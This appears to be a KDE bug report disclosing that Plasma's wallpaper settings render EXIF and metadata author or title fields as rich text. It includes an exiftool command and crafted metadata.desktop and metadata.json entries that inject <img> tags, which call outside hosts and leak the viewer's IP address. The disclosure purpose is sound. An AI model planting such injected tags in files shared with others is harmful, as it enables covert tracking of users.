Created attachment 165086 [details]
IP address leak from plasma wallpaper via QML RichText parsing of user-provided text

SUMMARY
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exif image information is used by plasma image wallpaper to create a qml richtext string to display author and title of a wallpaper image.  the QML richtext can contain <img> tags which point to outside servers. http:// and ftp:// links in the <img> tags are followed to remote addressess

AUTHOR & NAME fields in metadata.desktop are also affected, as well as the author & name in metadata.json

exploitable EXIF tags: Exif.Image.XPTitle, Exif.Image.DocumentName, Exif.Image.ImageDescription, Exif.Image.Artist, Exif.Image.XPAuthor, Exif.Image.Copyright

bugged code is here: https://github.com/KDE/plasma-workspace/blob/master/wallpapers/image/plugin/finder/mediametadatafinder.cpp#L34

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STEPS TO REPRODUCE

EASY:
1. download https://www.deutsche-cyberberatung.de/plasma-shell-wallpaper-ip-address-leak.jpg
2. place file in ~/.local/share/wallpapers/
3. go on desktop -> right click -> "configure desktop and wallpaper"
4. see that the code is rendered in UI as QML Richtext

IMAGE w/ EXIF INFO:
1. take random jpg image
2. run `exiftool -Artist='benjaminflesch<br/><img src="https://www.spyber.com/sig-54300.png"/>' bugme.jpg -overwrite_original_in_place` 
3. go on desktop -> right click -> "configure desktop and wallpaper"
4. see that the code is rendered in UI as QML Richtext

METADATA.DESKTOP:
[Desktop Entry]
Name=foobar<img src="https://www.spyber.com/sig-54300.png" /><br/><img src="/home/beni/src/2024-kde-plasma-theme-adhd-climate-disaster-dark/beni-wallpaper/foobar/contents/layouts/image.svg"/><br/><img src="ftp://1.2.3.4/etc/qt.conf"/><br/><h1>huhu</h1>
Author=foobar<img src="https://www.spyber.com/sig-54300.png" /><br/><img src="/home/beni/src/2024-kde-plasma-theme-adhd-climate-disaster-dark/beni-wallpaper/foobar/contents/layouts/image.svg"/><br/><img src="ftp://1.2.3.4/etc/qt.conf"/><br/><h1>huhu</h1>

METADATA.JSON:
{
    "KPlugin": {
        "Authors": [
            {
                "Name": "Benjamin Flesch <img src='https://www.spyber.com/sig-54300.png' />",
                "Email": "bf@deutsche-cyberberatung.de"
            }
        ],
        "Name": "leakmyaddress <img src='https://www.spyber.com/sig-54300.png' />"
  ....
}

OBSERVED RESULT
html code from exif author field is parsed as QML richtext and allows IP address leak

EXPECTED RESULT
user-provided exif fields should not be parsed

SOFTWARE/OS VERSIONS
kdeplasma-addons 5.27.10-2
plasma-browser-integration 5.27.10-1
plasma-desktop 5.27.10-1
plasma-disks 5.27.10-1
plasma-firewall 5.27.10-1
plasma-framework5 5.114.0-1
plasma-integration 5.27.10-1
plasma-meta 5.27-4
plasma-nm 5.27.10-1
plasma-pa 5.27.10-1
plasma-sdk 5.27.10-1
plasma-systemmonitor 5.27.10-1
plasma-thunderbolt 5.27.10-1
plasma-vault 5.27.10-1
plasma-wayland-session 5.27.10-2
plasma-welcome 5.27.10-1
plasma-workspace 5.27.10-2
plasma-workspace-wallpapers 5.27.10-1
plasmatube 23.08.4-1


ADDITIONAL INFORMATION